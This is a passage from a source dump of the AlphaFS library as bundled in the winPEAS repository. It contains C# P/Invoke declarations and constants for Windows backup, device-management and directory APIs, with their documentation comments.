seek. /// [out] The lpdw low bytes seeked. /// [out] The lpdw high bytes seeked. /// [out] The context. /// /// If the function could seek the requested amount, the function returns a nonzero value. /// If the function could not seek the requested amount, the function returns zero. To get extended error information, call /// GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool BackupSeek(SafeFileHandle hFile, [MarshalAs(UnmanagedType.U4)] uint dwLowBytesToSeek, [MarshalAs(UnmanagedType.U4)] uint dwHighBytesToSeek, [MarshalAs(UnmanagedType.U4)] out uint lpdwLowBytesSeeked, [MarshalAs(UnmanagedType.U4)] out uint lpdwHighBytesSeeked, ref IntPtr lpContext); /// The BackupWrite function can be used to restore a file or directory that was backed up using . /// Use the ReadFile function to get a stream of data from the backup medium, then use BackupWrite to write the data to the /// specified file or directory. ///   /// /// /// This function is not intended for use in restoring files encrypted under the Encrypted File System. Use WriteEncryptedFileRaw /// for that purpose. /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] /// /// The file. /// The buffer. /// Number of bytes to writes. /// [out] Number of bytes writtens. /// true to abort. /// true to process security. /// [out] The context. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero, indicating that an I/O error occurred. To get extended error information, /// call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool BackupWrite(SafeFileHandle hFile, SafeGlobalMemoryBufferHandle lpBuffer, [MarshalAs(UnmanagedType.U4)] uint nNumberOfBytesToWrite, [MarshalAs(UnmanagedType.U4)] out uint lpNumberOfBytesWritten, [MarshalAs(UnmanagedType.Bool)] bool bAbort, [MarshalAs(UnmanagedType.Bool)] bool bProcessSecurity, ref IntPtr lpContext); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.Constants.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Text; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { public static readonly bool IsAtLeastWindows8 = OperatingSystem.IsAtLeast(OperatingSystem.EnumOsName.Windows8); public static readonly bool IsAtLeastWindows7 = OperatingSystem.IsAtLeast(OperatingSystem.EnumOsName.Windows7); public static readonly bool IsAtLeastWindowsVista = OperatingSystem.IsAtLeast(OperatingSystem.EnumOsName.WindowsVista); /// The FindFirstFileEx function does not query the short file name, improving overall enumeration speed. ///   /// /// The data is returned in a structure, /// and cAlternateFileName member is always a NULL string. /// This value is not supported until Windows Server 2008 R2 and Windows 7. /// /// public static readonly FINDEX_INFO_LEVELS FindexInfoLevel = IsAtLeastWindows7 ? FINDEX_INFO_LEVELS.Basic : FINDEX_INFO_LEVELS.Standard; /// Uses a larger buffer for directory queries, which can increase performance of the find operation. /// This value is not supported until Windows Server 2008 R2 and Windows 7. public static readonly FIND_FIRST_EX_FLAGS UseLargeCache = IsAtLeastWindows7 ? FIND_FIRST_EX_FLAGS.LARGE_FETCH : FIND_FIRST_EX_FLAGS.NONE; /// DefaultFileBufferSize = 4096; Default type buffer size used for reading and writing files. public const int DefaultFileBufferSize = 4096; /// DefaultFileEncoding = Encoding.UTF8; Default type of Encoding used for reading and writing files. public static readonly Encoding DefaultFileEncoding = Encoding.UTF8; /// MaxDirectoryLength = 255 internal const int MaxDirectoryLength = 255; /// MaxPath = 260 /// The specified path, file name, or both exceed the system-defined maximum length. /// For example, on Windows-based platforms, paths must be less than 248 characters, and file names must be less than 260 characters. /// internal const int MaxPath = 260; /// MaxPathUnicode = 32700 internal const int MaxPathUnicode = 32700; /// When an exception is raised, bit shifting is needed to prevent: "System.OverflowException: Arithmetic operation resulted in an overflow." internal const int OverflowExceptionBitShift = 65535; /// Invalid FileAttributes = -1 internal const FileAttributes InvalidFileAttributes = (FileAttributes) (-1); /// MAXIMUM_REPARSE_DATA_BUFFER_SIZE = 16384 internal const int MAXIMUM_REPARSE_DATA_BUFFER_SIZE = 16384; /// REPARSE_DATA_BUFFER_HEADER_SIZE = 8 internal const int REPARSE_DATA_BUFFER_HEADER_SIZE = 8; private const int DeviceIoControlMethodBuffered = 0; private const int DeviceIoControlFileDeviceFileSystem = 9; // Command to compression state of a file or directory on a volume whose file system supports per-file and per-directory compression. internal const int FSCTL_SET_COMPRESSION = (DeviceIoControlFileDeviceFileSystem << 16) | (16 << 2) | DeviceIoControlMethodBuffered | (int) (FileAccess.Read | FileAccess.Write) << 14; // Command to set the reparse point data block. internal const int FSCTL_SET_REPARSE_POINT = (DeviceIoControlFileDeviceFileSystem << 16) | (41 << 2) | DeviceIoControlMethodBuffered | (0 << 14); /// Command to delete the reparse point data base. internal const int FSCTL_DELETE_REPARSE_POINT = (DeviceIoControlFileDeviceFileSystem << 16) | (43 << 2) | DeviceIoControlMethodBuffered | (0 << 14); /// Command to get the reparse point data block. internal const int FSCTL_GET_REPARSE_POINT = (DeviceIoControlFileDeviceFileSystem << 16) | (42 << 2) | DeviceIoControlMethodBuffered | (0 << 14); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.DeviceManagement.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Microsoft.Win32.SafeHandles; using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { #region CM_Xxx /// The CM_Connect_Machine function creates a connection to a remote machine. /// /// Beginning in Windows 8 and Windows Server 2012 functionality to access remote machines has been removed. /// You cannot access remote machines when running on these versions of Windows. /// Available in Microsoft Windows 2000 and later versions of Windows. /// /// Name of the unc server. /// [out] The ph machine. /// /// If the operation succeeds, the function returns CR_SUCCESS. /// Otherwise, it returns one of the CR_-prefixed error codes defined in Cfgmgr32.h. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("setupapi.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "CM_Connect_MachineW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.I4)] public static extern int CM_Connect_Machine([MarshalAs(UnmanagedType.LPWStr)] string uncServerName, out SafeCmConnectMachineHandle phMachine); /// /// The CM_Get_Device_ID_Ex function retrieves the device instance ID for a specified device instance on a local or a remote machine. /// /// /// Beginning in Windows 8 and Windows Server 2012 functionality to access remote machines has been removed. /// You cannot access remote machines when running on these versions of Windows. ///   /// Available in Microsoft Windows 2000 and later versions of Windows. /// /// The dn development instance. /// The buffer. /// Length of the buffer. /// The ul flags. /// The machine. /// /// If the operation succeeds, the function returns CR_SUCCESS. /// Otherwise, it returns one of the CR_-prefixed error codes defined in Cfgmgr32.h. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("setupapi.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "CM_Get_Device_ID_ExW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.I4)] public static extern int CM_Get_Device_ID_Ex([MarshalAs(UnmanagedType.U4)] uint dnDevInst, SafeGlobalMemoryBufferHandle buffer, [MarshalAs(UnmanagedType.U4)] uint bufferLen, [MarshalAs(UnmanagedType.U4)] uint ulFlags, SafeCmConnectMachineHandle hMachine); /// /// The CM_Disconnect_Machine function removes a connection to a remote machine. /// /// /// Beginning in Windows 8 and Windows Server 2012 functionality to access remote machines has been removed. /// You cannot access remote machines when running on these versions of Windows. /// SetLastError is set to false. /// Available in Microsoft Windows 2000 and later versions of Windows. /// /// The machine. /// /// If the operation succeeds, the function returns CR_SUCCESS. /// Otherwise, it returns one of the CR_-prefixed error codes defined in Cfgmgr32.h. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("setupapi.dll", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.I4)] internal static extern int CM_Disconnect_Machine(IntPtr hMachine); /// /// The CM_Get_Parent_Ex function obtains a device instance handle to the parent node of a specified device node (devnode) in a local /// or a remote machine's device tree. /// /// /// Beginning in Windows 8 and Windows Server 2012 functionality to access remote machines has been removed. /// You cannot access remote machines when running on these versions of Windows. /// Available in Microsoft Windows 2000 and later versions of Windows. /// /// [out] The pdn development instance. /// The dn development instance. /// The ul flags. /// The machine. /// /// If the operation succeeds, the function returns CR_SUCCESS. /// Otherwise, it returns one of the CR_-prefixed error codes defined in Cfgmgr32.h. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("setupapi.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.I4)] internal static extern int CM_Get_Parent_Ex([MarshalAs(UnmanagedType.U4)] out uint pdnDevInst, [MarshalAs(UnmanagedType.U4)] uint dnDevInst, [MarshalAs(UnmanagedType.U4)] uint ulFlags, SafeCmConnectMachineHandle hMachine); #endregion // CM_Xxx #region DeviceIoControl /// Sends a control code directly to a specified device driver, causing the corresponding device to perform the corresponding operation. /// /// If the operation completes successfully, the return value is nonzero. /// If the operation fails or is pending, the return value is zero. To get extended error information, call GetLastError. /// /// /// To retrieve a handle to the device, you must call the function with either the name of a device or /// the name of the driver associated with a device. /// To specify a device name, use the following format: \\.\DeviceName /// Minimum supported client: Windows XP /// Minimum supported server: Windows Server 2003 /// /// The device. /// The i/o control code. /// Buffer for in data. /// Size of the in buffer. /// Buffer for out data. /// Size of the out buffer. /// [out] The bytes returned. /// The overlapped. [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool DeviceIoControl(SafeFileHandle hDevice, [MarshalAs(UnmanagedType.U4)] uint dwIoControlCode, IntPtr lpInBuffer, [MarshalAs(UnmanagedType.U4)] uint nInBufferSize, SafeGlobalMemoryBufferHandle lpOutBuffer, [MarshalAs(UnmanagedType.U4)] uint nOutBufferSize, [MarshalAs(UnmanagedType.U4)] out uint lpBytesReturned, IntPtr lpOverlapped); /// Sends a control code directly to a specified device driver, causing the corresponding device to perform the corresponding operation. /// /// If the operation completes successfully, the return value is nonzero. /// If the operation fails or is pending, the return value is zero. To get extended error information, call GetLastError. /// /// /// To retrieve a handle to the device, you must call the function with either the name of a device or /// the name of the driver associated with a device. /// To specify a device name, use the following format: \\.\DeviceName /// Minimum supported client: Windows XP /// Minimum supported server: Windows Server 2003 /// /// The device. /// The i/o control code. /// Buffer for in data. /// Size of the in buffer. /// Buffer for out data. /// Size of the out buffer. /// [out] The bytes returned. /// The overlapped. [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "DeviceIoControl"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool DeviceIoControl2(SafeFileHandle hDevice, [MarshalAs(UnmanagedType.U4)] uint dwIoControlCode, SafeGlobalMemoryBufferHandle lpInBuffer, [MarshalAs(UnmanagedType.U4)] uint nInBufferSize, IntPtr lpOutBuffer, [MarshalAs(UnmanagedType.U4)] uint nOutBufferSize, [MarshalAs(UnmanagedType.U4)] out uint lpBytesReturned, IntPtr lpOverlapped); /// Sends a control code directly to a specified device driver, causing the corresponding device to perform the corresponding operation. /// /// If the operation completes successfully, the return value is nonzero. /// If the operation fails or is pending, the return value is zero. To get extended error information, call GetLastError. /// /// /// To retrieve a handle to the device, you must call the function with either the name of a device or /// the name of the driver associated with a device. /// To specify a device name, use the following format: \\.\DeviceName /// Minimum supported client: Windows XP /// Minimum supported server: Windows Server 2003 /// /// The device. /// The i/o control code. /// Buffer for in data. /// Size of the in buffer. /// Buffer for out data. /// Size of the out buffer. /// [out] The bytes returned. /// The overlapped. [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "DeviceIoControl"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool DeviceIoControlUnknownSize(SafeFileHandle hDevice, [MarshalAs(UnmanagedType.U4)] uint dwIoControlCode, [MarshalAs(UnmanagedType.AsAny)] object lpInBuffer, [MarshalAs(UnmanagedType.U4)] uint nInBufferSize, [MarshalAs(UnmanagedType.AsAny)] [Out] object lpOutBuffer, [MarshalAs(UnmanagedType.U4)] uint nOutBufferSize, [MarshalAs(UnmanagedType.U4)] out uint lpBytesReturned, IntPtr lpOverlapped); #endregion // DeviceIoControl #region SetupDiXxx /// /// The SetupDiDestroyDeviceInfoList function deletes a device information set and frees all associated memory. /// /// /// SetLastError is set to false. /// Available in Microsoft Windows 2000 and later versions of Windows. /// /// Information describing the development. /// /// The function returns TRUE if it is successful. /// Otherwise, it returns FALSE and the logged error can be retrieved with a call to GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("setupapi.dll", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool SetupDiDestroyDeviceInfoList(IntPtr hDevInfo); /// /// The SetupDiEnumDeviceInterfaces function enumerates the device interfaces that are contained in a device information set. /// /// /// Repeated calls to this function return an structure for a different device /// interface. /// This function can be called repeatedly to get information about interfaces in a device information set that are /// associated /// with a particular device information element or that are associated with all device information elements. /// Available in Microsoft Windows 2000 and later versions of Windows. /// /// Information describing the development. /// Information describing the development. /// [in,out] Unique identifier for the interface class. /// Zero-based index of the member. /// [in,out] Information describing the device interface. /// /// SetupDiEnumDeviceInterfaces returns TRUE if the function completed without error. /// If the function completed with an error, FALSE is returned and the error code for the failure can be retrieved by calling /// GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("setupapi.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool SetupDiEnumDeviceInterfaces(SafeHandle hDevInfo, IntPtr devInfo, ref Guid interfaceClassGuid, [MarshalAs(UnmanagedType.U4)] uint memberIndex, ref SP_DEVICE_INTERFACE_DATA deviceInterfaceData); /// /// The SetupDiGetClassDevsEx function returns a handle to a device information set that contains requested device information elements /// for a local or a remote computer. /// /// /// The caller of SetupDiGetClassDevsEx must delete the returned device information set when it is no longer needed by calling /// . /// Available in Microsoft Windows 2000 and later versions of Windows. /// /// [in,out] Unique identifier for the class. /// The enumerator. /// The parent. /// The devs ex flags. /// Set the device information belongs to. /// Name of the machine. /// The reserved. /// /// If the operation succeeds, SetupDiGetClassDevsEx returns a handle to a device information set that contains all installed /// devices that matched the supplied parameters. /// If the operation fails, the function returns INVALID_HANDLE_VALUE. To get extended error information, call /// GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("setupapi.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] internal static extern SafeSetupDiClassDevsExHandle SetupDiGetClassDevsEx(ref Guid classGuid, IntPtr enumerator, IntPtr hwndParent, [MarshalAs(UnmanagedType.U4)] SetupDiGetClassDevsExFlags devsExFlags, IntPtr deviceInfoSet, [MarshalAs(UnmanagedType.LPWStr)] string machineName, IntPtr reserved); /// /// The SetupDiGetDeviceInterfaceDetail function returns details about a device interface. /// /// /// The interface detail returned by this function consists of a device path that can be passed to Win32 functions such as /// CreateFile. /// Do not attempt to parse the device path symbolic name. The device path can be reused across system starts. /// Available in Microsoft Windows 2000 and later versions of Windows. /// /// Information describing the development. /// [in,out] Information describing the device interface. /// [in,out] Information describing the device interface detail. /// Size of the device interface detail data. /// Size of the required. /// [in,out] Information describing the device information. /// /// SetupDiGetDeviceInterfaceDetail returns TRUE if the function completed without error. /// If the function completed with an error, FALSE is returned and the error code for the failure can be retrieved by calling /// GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("setupapi.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool SetupDiGetDeviceInterfaceDetail(SafeHandle hDevInfo, ref SP_DEVICE_INTERFACE_DATA deviceInterfaceData, ref SP_DEVICE_INTERFACE_DETAIL_DATA deviceInterfaceDetailData, [MarshalAs(UnmanagedType.U4)] uint deviceInterfaceDetailDataSize, IntPtr requiredSize, ref SP_DEVINFO_DATA deviceInfoData); /// /// The SetupDiGetDeviceRegistryProperty function retrieves a specified Plug and Play device property. /// /// Available in Microsoft Windows 2000 and later versions of Windows. /// Set the device information belongs to. /// [in,out] Information describing the device information. /// The property. /// [out] Type of the property register data. /// Buffer for property data. /// Size of the property buffer. /// Size of the required. /// /// SetupDiGetDeviceRegistryProperty returns TRUE if the call was successful. /// Otherwise, it returns FALSE and the logged error can be retrieved by making a call to GetLastError. /// SetupDiGetDeviceRegistryProperty returns the ERROR_INVALID_DATA error code if the requested property does not exist for a /// device or if the property data is not valid. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("setupapi.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool SetupDiGetDeviceRegistryProperty(SafeHandle deviceInfoSet, ref SP_DEVINFO_DATA deviceInfoData, SetupDiGetDeviceRegistryPropertyEnum property, IntPtr propertyRegDataType, SafeGlobalMemoryBufferHandle propertyBuffer, [MarshalAs(UnmanagedType.U4)] uint propertyBufferSize, IntPtr requiredSize); #endregion // SetupDiXxx } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.DirectoryManagement.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// /// Creates a new directory. /// If the underlying file system supports security on files and directories, /// the function applies a specified security descriptor to the new directory. /// /// /// Some file systems, such as the NTFS file system, support compression or encryption for individual files and /// directories. /// On volumes formatted for such a file system, a new directory inherits the compression and encryption attributes of its parent /// directory. /// An application can obtain a handle to a directory by calling with the FILE_FLAG_BACKUP_SEMANTICS /// flag set. /// Minimum supported client: Windows XP [desktop apps | Windows Store apps] /// Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps] /// /// Full pathname of the file. /// The security attributes. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "CreateDirectoryW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool CreateDirectory([MarshalAs(UnmanagedType.LPWStr)] string lpPathName, [MarshalAs(UnmanagedType.LPStruct)] Security.NativeMethods.SecurityAttributes lpSecurityAttributes); /// /// Creates a new directory with the attributes of a specified template directory. /// If the underlying file system supports security on files and directories, /// the function applies a specified security descriptor to the new directory. /// The new directory retains the other attributes of the specified template directory. /// /// /// The CreateDirectoryEx function allows you to create directories that inherit stream information from other directories. /// This function is useful, for example, when you are using Macintosh directories, which have a resource stream /// that is needed to properly identify directory contents as an attribute. /// Some file systems, such as the NTFS file system, support compression or encryption for individual files and /// directories. /// On volumes formatted for such a file system, a new directory inherits the compression and encryption attributes of its parent /// directory. /// You can obtain a handle to a directory by calling the function with the FILE_FLAG_BACKUP_SEMANTICS /// flag set. /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] /// /// Pathname of the template directory. /// Full pathname of the file. /// The security attributes. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero (0). To get extended error information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "CreateDirectoryExW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool CreateDirectoryEx([MarshalAs(UnmanagedType.LPWStr)] string lpTemplateDirectory, [MarshalAs(UnmanagedType.LPWStr)] string lpPathName, [MarshalAs(UnmanagedType.LPStruct)] Security.NativeMethods.SecurityAttributes lpSecurityAttributes); /// /// Creates a new directory as a transacted operation, with the attributes of a specified template directory. /// If the underlying file system supports security on files and directories, /// the function applies a specified security descriptor to the new directory. /// The new directory retains the other attributes of the specified template directory. /// /// /// The CreateDirectoryTransacted function allows you to create directories that inherit stream information from other /// directories. /// This function is useful, for example, when you are using Macintosh directories, which have a resource stream /// that is needed to properly identify directory contents as an attribute. /// Some file systems, such as the NTFS file system, support compression or encryption for individual files and /// directories. /// On volumes formatted for such a file system, a new directory inherits the compression and encryption attributes of its parent /// directory. /// You can obtain a handle to a directory by calling the function with the /// FILE_FLAG_BACKUP_SEMANTICS flag set. /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] /// /// Pathname of the template directory. /// Pathname of the new directory. /// The security attributes. /// The transaction. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero (0). To get extended error information, call GetLastError. /// This function fails with ERROR_EFS_NOT_ALLOWED_IN_TRANSACTION if you try to create a /// child directory with a parent directory that has encryption disabled. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "CreateDirectoryTransactedW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool CreateDirectoryTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpTemplateDirectory, [MarshalAs(UnmanagedType.LPWStr)] string lpNewDirectory, [MarshalAs(UnmanagedType.LPStruct)] Security.NativeMethods.SecurityAttributes lpSecurityAttributes, SafeHandle hTransaction); /// /// Retrieves the current directory for the current process. /// /// /// The RemoveDirectory function marks a directory for deletion on close. /// Therefore, the directory is not removed until the last handle to the directory is closed. /// RemoveDirectory removes a directory junction, even if the contents of the target are not empty; /// the function removes directory junctions regardless of the state of the target object. /// Minimum supported client: Windows XP [desktop apps | Windows Store apps] /// Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps] /// /// The length of the buffer for the current directory string, in TCHARs. The buffer length must include room for a terminating null character. /// /// A pointer to the buffer that receives the current directory string. This null-terminated string specifies the absolute path to the current directory. /// To determine the required buffer size, set this parameter to NULL and the nBufferLength parameter to 0. /// /// /// If the function succeeds, the return value specifies the number of characters that are written to the buffer, not including the terminating null character. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// [SuppressMessage("Microsoft.Usage", "CA2205:UseManagedEquivalentsOfWin32Api")] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "GetCurrentDirectoryW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint GetCurrentDirectory([MarshalAs(UnmanagedType.U4)] uint nBufferLength, StringBuilder lpBuffer); /// /// Deletes an existing empty directory. /// /// /// The RemoveDirectory function marks a directory for deletion on close. /// Therefore, the directory is not removed until the last handle to the directory is closed. /// RemoveDirectory removes a directory junction, even if the contents of the target are not empty; /// the function removes directory junctions regardless of the state of the target object. /// Minimum supported client: Windows XP [desktop apps | Windows Store apps] /// Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps] /// /// Full pathname of the file. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] 